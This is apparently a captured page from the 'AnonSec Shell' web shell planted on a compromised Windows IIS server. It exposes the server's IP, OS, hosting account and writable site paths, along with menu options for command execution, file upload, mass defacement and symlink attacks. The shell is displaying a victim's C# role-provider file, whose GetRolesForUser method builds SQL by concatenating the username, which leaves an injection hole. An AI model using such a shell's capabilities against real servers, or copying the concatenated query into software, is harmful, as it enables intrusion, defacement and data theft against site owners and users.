AnonSec Shell
Server IP : 199.79.62.161  /  Your IP : 216.73.216.245   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT MDUS-PP-WB12 10.0 build 20348 (Windows Server 2022) AMD64
User : IWPD_5096(nirmaowd) ( 0)
PHP Version : 8.3.30
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/INETPUB/VHOSTS/nirmalamatha.edu.in/ponnuguruvayurappan.org/App_Code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : D:/INETPUB/VHOSTS/nirmalamatha.edu.in/ponnuguruvayurappan.org/App_Code/CustomRollProvider.cs
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Data.SqlClient;
using System.Collections.Generic;
using DL;

namespace SoftTech.Aspnet.OdbcProvider
{
    public class CustomRollProvider:RoleProvider
    {
        public CustomRollProvider()
        {

        }

        public override string ApplicationName
        {
            get
            {
                throw new Exception("The method or operation is not implemented.");
            }
            set
            {
                throw new Exception("The method or operation is not implemented.");
            }
        }

        public override bool IsUserInRole(string username, string roleName)
        {
            throw new Exception("The method or operation is not implemented.");
        }

        public override string[] GetRolesForUser(string username)
        {
            using (DAL db = new DAL())
            {
                SqlDataReader dr = db.GetDataReader("SELECT ROLL.ROLL_NAME FROM ROLL RIGHT OUTER JOIN AGENT_ROLL ON ROLL.ROLL_ID = AGENT_ROLL.ROLL_ID LEFT OUTER JOIN AGENTS ON AGENT_ROLL.AGENT_ID = AGENTS.AGENT_ID WHERE AGENTS.USERNAME = '" + username + "'");

                 if (dr == null)
                     return null;

                 List<string> rolls = new List<string>();

                 while (dr.Read())
                 {
                     rolls.Add(dr["ROLL_NAME"].ToString());
                 }

                 dr.Close();

                 return rolls.ToArray();
            }

           
        }

        public override void CreateRole(string roleName)
        {
            throw new Exception("The method or operation is not implemented.");
        }

        public override bool DeleteRole(string roleName, bool throwOnPopulatedRole)
        {
            throw new Exception("The method or operation is not implemented.");
        }

        public override bool RoleExists(string roleName)
        {
            throw new Exception("The method or operation is not implemented.");
        }

        public override void AddUsersToRoles(string[] usernames, string[] roleNames)
        {
            throw new Exception("The method or operation is not implemented.");
        }

        public override void RemoveUsersFromRoles(string[] usernames, string[] roleNames)
        {
            throw new Exception("The method or operation is not implemented.");
        }

        public override string[] GetUsersInRole(string roleName)
        {
            throw new Exception("The method or operation is not implemented.");
        }

        public override string[] GetAllRoles()
        {
            using (DAL db = new DAL())
            {
                SqlDataReader dr = db.GetDataReader("SELECT ROLL_NAME FROM ROLL ORDER BY ROLL_NAME");

                if (dr == null)
                    return null;

                List<string> rolls = new List<string>();

                while (dr.Read())
                {
                    rolls.Add(dr["ROLL_NAME"].ToString());
                }
                dr.Close();

                return rolls.ToArray();

            }

        }

        public override string[] FindUsersInRole(string roleName, string usernameToMatch)
        {
            throw new Exception("The method or operation is not implemented.");
        }
    }
}

Anon7 - 2022
AnonSec Team